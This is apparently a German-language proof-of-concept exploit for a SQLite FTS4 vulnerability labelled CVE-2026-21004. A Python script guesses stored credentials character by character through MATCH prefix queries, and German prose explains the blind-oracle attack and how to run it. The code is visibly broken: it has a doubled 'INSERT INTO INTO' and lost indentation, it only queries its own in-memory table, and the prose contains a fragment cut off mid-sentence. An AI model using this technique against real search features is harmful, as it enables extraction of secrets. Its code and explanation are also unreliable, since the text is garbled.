
Proof-of-Concept-Exploit für CVE-2026-21004: nutzt präparierte SQLite-FTS3/4-MATCH-Präfixabfragen als blindes Orakel, um indizierte geheime Daten Zeichen für Zeichen wiederherzustellen.
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3
conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO INTO secrets VALUES ('user:secret456')")
# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
query = f'SELECT * FROM secrets WHERE content MATCH ?'
# In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
try:
cur = conn.execute(query, (f'"{prefix}{c}*"',))
if cur.fetchone():
return c
except:
pass
return None
# Recover the secret character by character
prefix = ""
for _ in range(20):
c = guess_char(prefix, "")
if c is None: break
prefix += c
print(f"Recovered: {prefix}")
Eine Anwendung, die SQLite FTS4 verwendet, stellt eine Suchfunktion bereit, die Ergebnisse basierend auf einer MATCH-Abfrage zurückgibt. Indem ein Angreifer beobachtet, ob eine Übereinstimmung auftritt (oder Zeitunterschiede), kann er den Inhalt des Volltextindex Zeichen für Zeichen per Brute-Force erraten und so sensible Daten extrahieren.
term*), wodurch ein Angreifer einen Wörterbuchangriff durchführen kann, ohne den vollständigen Begriff zu kennen.Führen Sie den Exploit aus:
python sqlite_fts_leak.py
Das Skript rekonstruiert den Inhalt der Tabelle „secrets“ schrittweise.